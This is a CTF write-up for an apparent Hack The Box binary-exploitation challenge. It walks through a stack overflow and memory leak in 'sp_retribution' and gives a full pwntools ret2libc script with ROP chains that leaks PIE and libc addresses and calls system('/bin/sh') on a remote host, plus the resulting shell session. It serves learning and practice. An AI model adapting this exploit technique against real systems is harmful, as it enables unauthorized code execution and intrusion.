As always, the first thing we will do is run a security check on the binary.

└─$ file ./sp_retribution ; checksec ./sp_retribution ./sp_retribution: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=418b5fa1bd52c216b4bdbebb95c60340e9f632d4,not stripped[*] '/home/fundy/ctfs/htb/space-pirate-ret/challenge/sp_retribution'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    RUNPATH:  './glibc/'

Just from the looks of this we can assume it is a ret2libc exploit since glibc directory is provided to us with the download files. Let's run the binary to see what it does.

└─$ ./sp_retribution  1. Show missiles πŸš€2. Change target's location 🎯>> 2[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9][*] Insert new coordinates: x = [0x53e5854620fb399f], y = asdf[*] New coordinates: x = [0x53e5854620fb399f], y = asdfV[*] Verify new coordinates? (y/n): y[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!1. Show missiles πŸš€2. Change target's location 🎯>> 

Okay there is some strange behavior going on with this binary. After we input "asfd" we can see right below the line with "* New coordinates:" the char 'V' appears. From experience without looking at the source code I can tell a memory leak is happening. Even if I input a just a carriage return the program would still have un-deterministic output below "* New coordinates:"

1. Show missiles πŸš€2. Change target's location 🎯>> 2[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9][*] Insert new coordinates: x = [0x53e5854620fb399f], y = [*] New coordinates: x = [0x53e5854620fb399f], y = ???U[*] Verify new coordinates? (y/n): [-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!1. Show missiles πŸš€2. Change target's location 🎯>> 

Okay we now know this exploit is going to involve a ret2libc that calculates the runtime memory address of libc. From that we can gather a ROPchain will be needed. This exploit is meant to be very easy as it is marked that way on HTB. So I can assume it's already going to have "/bin/sh" already writen in libc so I won't have to worry about a write gadget. Let's confirm:

└─$ objdump -M intel -d -s ./glibc/libc.so.6  | grep '/bin/sh'                                                                          1 β¨― 18ce50 6c2e6300 2d63002f 62696e2f 73680065  l.c.-c./bin/sh.e

And there it is "/bin/sh" starts at offset 0x18ce57. Okay we know how to calculate offsets now we need a few more. To successfully do this exploit we will need to have the offsets of main(), puts().plt, puts().got, and pop rdi ; ret. Pwn tools has a nice feature where it can calculate all these offsets for us automatically, so we don't need to objdump for every offset needed. Just for reputation’s sake, so we know how to find these offsets manually lets get the offsets for system(), main(), and pop rdi ; ret, puts().plt manually and do puts().got dynamically at runtime with pwntools. To make this a little faster I will be using ROPGadget for the gadgets instead of objdump.

└─$ ROPgadget --binary ./sp_retribution --nojop  |  grep 'rdi'                                                                                                                                 0x0000000000000d33 : pop rdi ; ret└─$ ROPgadget --binary ./glibc/libc.so.6 --nojop  |  grep 'pop rdi ; ret'                                                                                                                    0x0000000000021112 : pop rdi ; ret└─$ objdump -M intel -d ./glibc/libc.so.6  | grep 'system'00000000000453a0 < __libc_system@@GLIBC_PRIVATE >:└─$ objdump -M intel -d ./sp_retribution  | grep 'main' 0000000000000c39 < main >└─$ objdump -M intel -d ./sp_retribution  | grep 'puts'0000000000000760 < puts@plt >:

So the idea behind this exploit is to leak the address of libc by using puts().got entry. The way to do this is to use a ROP chain that allows you to call puts().plt function address with the argument of puts().got within rdi as puts().plt function argument. From there you will be able to calculate the start address of libc and thus with the previous found offsets for system() and "/bin/sh" spawn a shell. Below is what exploit will look like:

  • Get the leaked address from binary at run time.
  • Calculate the start address of the text section of memory (this is where the program code starts)
  • Calculate the address of main(), puts().plt, puts().got, pop rdi ; ret.
  • Buffer overflow the vulnerable buffer to activate the Rop chain (taking control of RIP)
  • Create a rop chain that leaks puts() libc runtime address
    • Note we will need to return to main() so we can do our second rop chain to spawn a shell.
  • Create a second rop chain to spawn the shell.

After some debugging within pwntools we get the following code to pwn the binary.

└─$ cat pwn_remote.py                      from pwn import *import socket FILE = './sp_retribution'context.binary = binary = FILEelf = ELF(FILE)IP = '206.189.125.207'PORT = 30324s = socket.socket()s.connect((IP, PORT))io = remote.fromsocket(s)context.log_level = "debug"PADDING = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaa'io.sendline('1')io.recvn(int('0x1000',16))io.sendline("2")io.recvn(int('0x1f8',16))io.sendline()leak = io.recvn(int('0x5e', 16))io.sendline()leakAddr = leak[52:58]unLeakAddr = struct.pack('ssssss',bytes(leakAddr[5]),        bytes(leakAddr[4]),        bytes(leakAddr[3]),        bytes(leakAddr[2]),        bytes(leakAddr[1]),        bytes(leakAddr[0]))print('\\n\\n')ordRep = ''for i in range(0,6):    hexNum = str(hex(ord(unLeakAddr[i])))    use = ''    if(len(hexNum) == 3):        use += hexNum[:2] + '0' + hexNum[2:]     else:        use = hexNum    ordRep +=  useordRep = ordRep.replace('0x', '')leakAddr = hex(int(ordRep,16))startOfSpRetOffset = '0x1E0A' # offset from the memory leaks pointer addressspStartLeakedAddr = hex((int(ordRep,16) - int(startOfSpRetOffset, 16))) # sp = space pirateputsoffset = '0x760' # PLT offsetputsPLTAddr = hex((int(spStartLeakedAddr, 16) + int(putsoffset, 16)))popRdiOffset = '0xd33'popRdi =   hex((int(spStartLeakedAddr, 16) + int(popRdiOffset, 16))) # 000d33 : pop rdi ; retmainOffset = '0xc39'mainAddress = hex((int(spStartLeakedAddr, 16) + int(mainOffset, 16))) PUTS_GOT_OFFSET = elf.got['puts']putsGotAddr =  hex((int(spStartLeakedAddr, 16) + PUTS_GOT_OFFSET))rop1 = PADDING rop1 += p64(int(popRdi,16)) rop1 += p64(int(putsGotAddr, 16)) rop1 += p64(int(putsPLTAddr,16)) rop1 += p64(int(mainAddress,16))print('\\nSending Payload...\\n\\n')io.sendline("2")io.recvn(int('0x13d',16))io.send(rop1)leak = io.recvn(int('0xfeb',16))leakedAddr = u64(leak[int('0xe1', 16):int('0xe7', 16)].ljust(8, "\x00"))io.sendline("2")print("*********************")print('popRdi: ' + popRdi)print('putsGotAddr: ' + putsGotAddr)    print('putsPLTAddr: ' + putsPLTAddr) print('mainAddress: ' + mainAddress)log.info("Leaked libc address, puts: " + hex(leakedAddr))print("*********************")putsLibcOffset = '0x06f6a0' thisLibc = hex(leakedAddr - int(putsLibcOffset, 16))libcStart = int(thisLibc, 16) popRdiOffset = 0x21112  # pop rdi ; ret in libcpopRdi = popRdiOffset + libcStart  # pop rdi ; retsystemLibcOffset = 0x453a0  # system() in libcsystemLibc = systemLibcOffset + libcStart  # system()binShOffset = 0x7ffff798ce57 - 0x7ffff7800000binShAddr = binShOffset + libcStart p = PADDINGp += p64(popRdi)p += p64(binShAddr)p += p64(systemLibc)io.recv()io.sendline(p)io.interactive()

We got shell!

└─$ python2.7 pwn_remote.py                            [*] '/home/fundy/ctfs/htb/space-pirate-ret/challenge/sp_retribution'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    RUNPATH:  './glibc/'    $ whoami    ctf$ hostnamepwnspretributionca-321646-767fbf54c9-2wqph$ ls -alhdrwxr-sr-x    1 ctf  ctf         4.0K May 23 16:51 .drwxr-xr-x    1 root root        4.0K Feb 22 18:06 ..-rw-rw-r--    1 root root          24 May 23 16:34 flag.txtdrwxrwxr-x    2 root root        4.0K May 12 14:57 glibc-rwxrwxr-x    1 root root       16.7K May 12 14:57 sp_retribution

Overall, a fun exploit that taught me a lot. I will recommend this to any newcomer that wants to get into binex. `,